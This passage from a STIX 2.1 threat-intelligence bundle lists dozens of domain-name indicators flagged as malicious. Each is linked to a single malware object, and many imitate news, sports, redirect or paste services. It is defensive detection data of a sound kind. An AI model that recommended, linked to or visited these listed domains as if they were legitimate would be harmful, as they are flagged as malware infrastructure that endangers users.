"indicator--ac762fa4-5780-4dab-90ec-5d9e534be783", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e98da9e0-6cf5-4ccb-879b-b78333e850ab", "created": "2024-01-26T21:28:21.292494Z", "modified": "2024-01-26T21:28:21.292494Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='secureyouradd.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.292494Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--888f145a-f498-4888-8998-201f3347909c", "created": "2024-01-26T21:28:21.29288Z", "modified": "2024-01-26T21:28:21.29288Z", "relationship_type": "indicates", "source_ref": "indicator--e98da9e0-6cf5-4ccb-879b-b78333e850ab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--21717c29-0bd9-45e0-8d0e-f2a7e5e51326", "created": "2024-01-26T21:28:21.292975Z", "modified": "2024-01-26T21:28:21.292975Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tlgr-me.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.292975Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b39b5336-56dd-4bc6-9ccf-823efdc115bc", "created": "2024-01-26T21:28:21.293351Z", "modified": "2024-01-26T21:28:21.293351Z", "relationship_type": "indicates", "source_ref": "indicator--21717c29-0bd9-45e0-8d0e-f2a7e5e51326", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--157af8ac-97b6-4925-b544-7e9ad53ff38c", "created": "2024-01-26T21:28:21.293446Z", "modified": "2024-01-26T21:28:21.293446Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='user-registration.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.293446Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--331c4624-ecd6-4280-9935-783e471031b2", "created": "2024-01-26T21:28:21.293839Z", "modified": "2024-01-26T21:28:21.293839Z", "relationship_type": "indicates", "source_ref": "indicator--157af8ac-97b6-4925-b544-7e9ad53ff38c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1858d789-b175-4ed0-9930-0430e62e04c1", "created": "2024-01-26T21:28:21.293934Z", "modified": "2024-01-26T21:28:21.293934Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allafricaninfo.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.293934Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e49ea8a3-0279-4942-baea-e75f1bf7e51e", "created": "2024-01-26T21:28:21.294415Z", "modified": "2024-01-26T21:28:21.294415Z", "relationship_type": "indicates", "source_ref": "indicator--1858d789-b175-4ed0-9930-0430e62e04c1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b0428ac-b0e4-4a1d-a631-0e6a363a0f1f", "created": "2024-01-26T21:28:21.294512Z", "modified": "2024-01-26T21:28:21.294512Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='doitformom.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.294512Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--27868d3b-8263-49a6-aa63-cac5f9f017b1", "created": "2024-01-26T21:28:21.294895Z", "modified": "2024-01-26T21:28:21.294895Z", "relationship_type": "indicates", "source_ref": "indicator--6b0428ac-b0e4-4a1d-a631-0e6a363a0f1f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9ce46827-4a44-4936-8f8a-c0e04a8888c3", "created": "2024-01-26T21:28:21.294992Z", "modified": "2024-01-26T21:28:21.294992Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='arab-share.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.294992Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ba063298-371b-4c70-afbe-969da3ff6ccd", "created": "2024-01-26T21:28:21.295374Z", "modified": "2024-01-26T21:28:21.295374Z", "relationship_type": "indicates", "source_ref": "indicator--9ce46827-4a44-4936-8f8a-c0e04a8888c3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b37c3892-564e-4ebf-995e-bc44f9d97299", "created": "2024-01-26T21:28:21.295474Z", "modified": "2024-01-26T21:28:21.295474Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='365redirect.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.295474Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4564d990-ec96-49d8-b029-60312dcced91", "created": "2024-01-26T21:28:21.295855Z", "modified": "2024-01-26T21:28:21.295855Z", "relationship_type": "indicates", "source_ref": "indicator--b37c3892-564e-4ebf-995e-bc44f9d97299", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5d19213b-25a7-4d98-b202-4bdb3edb4725", "created": "2024-01-26T21:28:21.29595Z", "modified": "2024-01-26T21:28:21.29595Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='files-downloads.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.29595Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--74e3624e-c1ff-4f38-a660-930392b00601", "created": "2024-01-26T21:28:21.296338Z", "modified": "2024-01-26T21:28:21.296338Z", "relationship_type": "indicates", "source_ref": "indicator--5d19213b-25a7-4d98-b202-4bdb3edb4725", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec74d7bd-120e-453f-b31c-068148c97b91", "created": "2024-01-26T21:28:21.296434Z", "modified": "2024-01-26T21:28:21.296434Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hdsoccerstream.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.296434Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bf628fe3-ef3d-4970-a337-cfee0c0445c0", "created": "2024-01-26T21:28:21.296825Z", "modified": "2024-01-26T21:28:21.296825Z", "relationship_type": "indicates", "source_ref": "indicator--ec74d7bd-120e-453f-b31c-068148c97b91", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4879acc5-22ce-471f-8c21-d42ed16633bf", "created": "2024-01-26T21:28:21.29692Z", "modified": "2024-01-26T21:28:21.29692Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fiestamaghreb.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.29692Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--25595049-15f4-4b9f-971a-b9f02f7d59bb", "created": "2024-01-26T21:28:21.297305Z", "modified": "2024-01-26T21:28:21.297305Z", "relationship_type": "indicates", "source_ref": "indicator--4879acc5-22ce-471f-8c21-d42ed16633bf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8f54bcfa-dfd3-433c-8c50-3ba9bf800e1e", "created": "2024-01-26T21:28:21.297401Z", "modified": "2024-01-26T21:28:21.297401Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pastesbin.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.297401Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a2e4293-9808-402d-84ee-19ce93edce20", "created": "2024-01-26T21:28:21.297785Z", "modified": "2024-01-26T21:28:21.297785Z", "relationship_type": "indicates", "source_ref": "indicator--8f54bcfa-dfd3-433c-8c50-3ba9bf800e1e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--efe00c1d-64b1-47d2-8c12-7f81ed5073b2", "created": "2024-01-26T21:28:21.297882Z", "modified": "2024-01-26T21:28:21.297882Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sync-cdn.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.297882Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5966dd18-70a6-4975-9ea0-c59104813a7b", "created": "2024-01-26T21:28:21.298263Z", "modified": "2024-01-26T21:28:21.298263Z", "relationship_type": "indicates", "source_ref": "indicator--efe00c1d-64b1-47d2-8c12-7f81ed5073b2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f60bdbab-1346-4fa6-acb7-bb3366cea56f", "created": "2024-01-26T21:28:21.298358Z", "modified": "2024-01-26T21:28:21.298358Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sportupdates.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.298358Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--260a962f-01a6-473f-8fb0-8b3a2a0a5db9", "created": "2024-01-26T21:28:21.298826Z", "modified": "2024-01-26T21:28:21.298826Z", "relationship_type": "indicates", "source_ref": "indicator--f60bdbab-1346-4fa6-acb7-bb3366cea56f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8a467d7d-a6ac-41e1-8fe6-6edf5a0d6bb2", "created": "2024-01-26T21:28:21.298924Z", "modified": "2024-01-26T21:28:21.298924Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hitrafficip.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.298924Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--94b21915-dd9f-474f-902c-21f766eedc3f", "created": "2024-01-26T21:28:21.299312Z", "modified": "2024-01-26T21:28:21.299312Z", "relationship_type": "indicates", "source_ref": "indicator--8a467d7d-a6ac-41e1-8fe6-6edf5a0d6bb2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--050b14dc-b57b-42ac-af0c-5b7093c4f363", "created": "2024-01-26T21:28:21.299412Z", "modified": "2024-01-26T21:28:21.299412Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='iusacell-movil.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.299412Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--79a8502d-1117-444b-8566-7eb45796a061", "created": "2024-01-26T21:28:21.299804Z", "modified": "2024-01-26T21:28:21.299804Z", "relationship_type": "indicates", "source_ref": "indicator--050b14dc-b57b-42ac-af0c-5b7093c4f363", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4a74682c-1595-4d74-97b5-be21b2e77088", "created": "2024-01-26T21:28:21.299905Z", "modified": "2024-01-26T21:28:21.299905Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ecommerce-ads.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.299905Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1192610a-3866-45b3-a27c-ba6412c5410a", "created": "2024-01-26T21:28:21.300292Z", "modified": "2024-01-26T21:28:21.300292Z", "relationship_type": "indicates", "source_ref": "indicator--4a74682c-1595-4d74-97b5-be21b2e77088", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fa11329d-597e-4171-adcb-66a9412c98fa", "created": "2024-01-26T21:28:21.300387Z", "modified": "2024-01-26T21:28:21.300387Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findgoodfood.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.300387Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4915c4c9-84ab-4b71-9def-3ee6dca2254b", "created": "2024-01-26T21:28:21.300769Z", "modified": "2024-01-26T21:28:21.300769Z", "relationship_type": "indicates", "source_ref": "indicator--fa11329d-597e-4171-adcb-66a9412c98fa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--554a1e4a-a160-4faf-a66f-879b865f5f0c", "created": "2024-01-26T21:28:21.300866Z", "modified": "2024-01-26T21:28:21.300866Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='feeltrail.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.300866Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0649725c-b84b-43e4-8ffd-70281874946e", "created": "2024-01-26T21:28:21.301246Z", "modified": "2024-01-26T21:28:21.301246Z", "relationship_type": "indicates", "source_ref": "indicator--554a1e4a-a160-4faf-a66f-879b865f5f0c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2e518488-affa-482a-aec7-447704ec4986", "created": "2024-01-26T21:28:21.301342Z", "modified": "2024-01-26T21:28:21.301342Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='adscreator.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.301342Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c4b4843e-bd95-4bbb-a0ac-35ab29113f7c", "created": "2024-01-26T21:28:21.301726Z", "modified": "2024-01-26T21:28:21.301726Z", "relationship_type": "indicates", "source_ref": "indicator--2e518488-affa-482a-aec7-447704ec4986", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6ab22012-6510-4cf4-ad4c-c8aed3cfb253", "created": "2024-01-26T21:28:21.301824Z", "modified": "2024-01-26T21:28:21.301824Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='adjustlocalsettings.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.301824Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4b428e78-f485-4549-96d2-70b6ef256f08", "created": "2024-01-26T21:28:21.302216Z", "modified": "2024-01-26T21:28:21.302216Z", "relationship_type": "indicates", "source_ref": "indicator--6ab22012-6510-4cf4-ad4c-c8aed3cfb253", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e32b16ea-63dc-450d-a230-63e134fd743f", "created": "2024-01-26T21:28:21.302316Z", "modified": "2024-01-26T21:28:21.302316Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='e-sveiciens.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.302316Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c1226cfb-9c26-4573-b9ca-7198ddf3eb84", "created": "2024-01-26T21:28:21.3027Z", "modified": "2024-01-26T21:28:21.3027Z", "relationship_type": "indicates", "source_ref": "indicator--e32b16ea-63dc-450d-a230-63e134fd743f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cf6578b3-7faf-4ad4-803b-d256be0c12d0", "created": "2024-01-26T21:28:21.302794Z", "modified": "2024-01-26T21:28:21.302794Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectload.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.302794Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8e41301e-74c4-4b1a-8188-0146777fcbac", "created": "2024-01-26T21:28:21.303457Z", "modified": "2024-01-26T21:28:21.303457Z", "relationship_type": "indicates", "source_ref": "indicator--cf6578b3-7faf-4ad4-803b-d256be0c12d0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--179498c1-bdf8-4b0f-bcd9-15b65f88fa2a", "created": "2024-01-26T21:28:21.303558Z", "modified": "2024-01-26T21:28:21.303558Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='updatingpage.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.303558Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cbe4bdbc-1224-4a02-b07c-197c3ae72ebe", "created": "2024-01-26T21:28:21.303948Z", "modified": "2024-01-26T21:28:21.303948Z", "relationship_type": "indicates", "source_ref": "indicator--179498c1-bdf8-4b0f-bcd9-15b65f88fa2a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fad0a1bd-6428-47eb-b086-775367bc68af", "created": "2024-01-26T21:28:21.304045Z", "modified": "2024-01-26T21:28:21.304045Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tvshowcusting.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.304045Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--caa003e2-9457-4e02-a53b-85c296279686", "created": "2024-01-26T21:28:21.304437Z", "modified": "2024-01-26T21:28:21.304437Z", "relationship_type": "indicates", "source_ref": "indicator--fad0a1bd-6428-47eb-b086-775367bc68af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ffbf11ef-f625-44c8-996a-846a567722fd", "created": "2024-01-26T21:28:21.304535Z", "modified": "2024-01-26T21:28:21.304535Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='apigraphs.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.304535Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2cdf963f-6f59-4a11-9769-fc1d986cbb1d", "created": "2024-01-26T21:28:21.304917Z", "modified": "2024-01-26T21:28:21.304917Z", "relationship_type": "indicates", "source_ref": "indicator--ffbf11ef-f625-44c8-996a-846a567722fd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cff42904-b655-4303-b42a-37430f8282f5", "created": "2024-01-26T21:28:21.305012Z", "modified": "2024-01-26T21:28:21.305012Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='content-blocking.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.305012Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a24416a5-f2e7-4982-a05d-813794716298", "created": "2024-01-26T21:28:21.305403Z", "modified": "2024-01-26T21:28:21.305403Z", "relationship_type": "indicates", "source_ref": "indicator--cff42904-b655-4303-b42a-37430f8282f5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1f5b2f4c-0b79-4d8d-8818-8d15301e7376", "created": "2024-01-26T21:28:21.305503Z", "modified": "2024-01-26T21:28:21.305503Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lesbonnesaffaires.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.305503Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a3e14688-b927-46c7-ad1c-7a857913ded3", "created": "2024-01-26T21:28:21.305894Z", "modified": "2024-01-26T21:28:21.305894Z", "relationship_type": "indicates", "source_ref": "indicator--1f5b2f4c-0b79-4d8d-8818-8d15301e7376", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7f338f22-5a63-4e4b-ad94-38f4f0a0fff7", "created": "2024-01-26T21:28:21.305989Z", "modified": "2024-01-26T21:28:21.305989Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smoothurl.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.305989Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--73abcc14-9f61-47eb-ae65-dbee51742fff", "created": "2024-01-26T21:28:21.306368Z", "modified": "2024-01-26T21:28:21.306368Z", "relationship_type": "indicates", "source_ref": "indicator--7f338f22-5a63-4e4b-ad94-38f4f0a0fff7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec23bd6f-2aaa-4d41-bd7a-58e94599a68f", "created": "2024-01-26T21:28:21.306464Z", "modified": "2024-01-26T21:28:21.306464Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unonoticias.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.306464Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9923d949-73a2-4faa-8886-82d8bf21c07f", "created": "2024-01-26T21:28:21.306847Z", "modified": "2024-01-26T21:28:21.306847Z", "relationship_type": "indicates", "source_ref": "indicator--ec23bd6f-2aaa-4d41-bd7a-58e94599a68f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dc6bbfa2-0afd-47e6-9952-e733c5a51303", "created": "2024-01-26T21:28:21.306943Z", "modified": "2024-01-26T21:28:21.306943Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='free-local-events.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.306943Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--968b4d14-2d26-4804-a966-c1bc745d9603", "created": "2024-01-26T21:28:21.307336Z", "modified": "2024-01-26T21:28:21.307336Z", "relationship_type": "indicates", "source_ref": "indicator--dc6bbfa2-0afd-47e6-9952-e733c5a51303", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec3e2540-f82f-4469-acab-ed7b2f787ed1", "created": "2024-01-26T21:28:21.307433Z", "modified": "2024-01-26T21:28:21.307433Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='varietyjobspaid.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.307433Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--585f70d4-de4d-428c-b20a-3ab353fe6795", "created": "2024-01-26T21:28:21.307823Z", "modified": "2024-01-26T21:28:21.307823Z", "relationship_type": "indicates", "source_ref": "indicator--ec3e2540-f82f-4469-acab-ed7b2f787ed1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--23ee7782-da6c-4ad9-b8ab-23b632d25e4e", "created": "2024-01-26T21:28:21.307921Z", "modified": "2024-01-26T21:28:21.307921Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='breakfastisgood.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.307921Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7567719b-9d18-41bc-af3a-376f92141bb1", "created": "2024-01-26T21:28:21.308393Z", "modified": "2024-01-26T21:28:21.308393Z", "relationship_type": "indicates", "source_ref": "indicator--23ee7782-da6c-4ad9-b8ab-23b632d25e4e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ea36c184-f33e-4a66-9e11-28e2cf51ee70", "created": "2024-01-26T21:28:21.308489Z", "modified": "2024-01-26T21:28:21.308489Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tentrosegain.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.308489Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b4d724d-26ba-49c0-aa45-f5e322041fa2", "created": "2024-01-26T21:28:21.308873Z", "modified": "2024-01-26T21:28:21.308873Z", "relationship_type": "indicates", "source_ref": "indicator--ea36c184-f33e-4a66-9e11-28e2cf51ee70", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--99f1391b-1daa-4188-813f-9bcd93ea697d", "created": "2024-01-26T21:28:21.308969Z", "modified": "2024-01-26T21:28:21.308969Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nationalleagues.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.308969Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--01152552-26a0-4d6d-8236-2765256c7be7", "created": "2024-01-26T21:28:21.309361Z", "modified": "2024-01-26T21:28:21.309361Z", "relationship_type": "indicates", "source_ref": "indicator--99f1391b-1daa-4188-813f-9bcd93ea697d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f4bd98d-0220-447f-bd1c-be341d733b88", "created": "2024-01-26T21:28:21.309461Z", "modified": "2024-01-26T21:28:21.309461Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rentmotors.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.309461Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--beb5c1ac-8db5-4d84-8f93-c20a6ef0f564", "created": "2024-01-26T21:28:21.309851Z", "modified": "2024-01-26T21:28:21.309851Z", "relationship_type": "indicates", "source_ref": "indicator--4f4bd98d-0220-447f-bd1c-be341d733b88", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5dd2047a-535d-44a8-8809-137d4067f1bd", "created": "2024-01-26T21:28:21.30995Z", "modified": "2024-01-26T21:28:21.30995Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='investigationews.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.30995Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--204857cd-e815-4e76-b600-7c070114853d", "created": "2024-01-26T21:28:21.310343Z", "modified": "2024-01-26T21:28:21.310343Z", "relationship_type": "indicates", "source_ref": "indicator--5dd2047a-535d-44a8-8809-137d4067f1bd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--75733342-c780-40dc-8e55-c61724081a7d", "created": "2024-01-26T21:28:21.310439Z", "modified": "2024-01-26T21:28:21.310439Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirect-tunnel.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.310439Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ae9678c5-19e7-4072-a625-72e0354a7946", "created": "2024-01-26T21:28:21.310825Z", "modified": "2024-01-26T21:28:21.310825Z", "relationship_type": "indicates", "source_ref": "indicator--75733342-c780-40dc-8e55-c61724081a7d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8efe583d-131d-41f3-9e5d-b1c1dc6a354c", "created": "2024-01-26T21:28:21.310921Z", "modified": "2024-01-26T21:28:21.310921Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rainingcats.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.310921Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9954a7a6-3ed1-4445-b45b-a0a1017117db", "created": "2024-01-26T21:28:21.311307Z", "modified": "2024-01-26T21:28:21.311307Z", "relationship_type": "indicates", "source_ref": "indicator--8efe583d-131d-41f3-9e5d-b1c1dc6a354c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e7384285-98df-468d-8135-428647da00dd", "created": "2024-01-26T21:28:21.311403Z", "modified": "2024-01-26T21:28:21.311403Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='holdmydoor.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.311403Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--02bffe97-4aff-4691-ac85-e628daaed981", "created": "2024-01-26T21:28:21.311786Z", "modified": "2024-01-26T21:28:21.311786Z", "relationship_type": "indicates", "source_ref": "indicator--e7384285-98df-468d-8135-428647da00dd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": 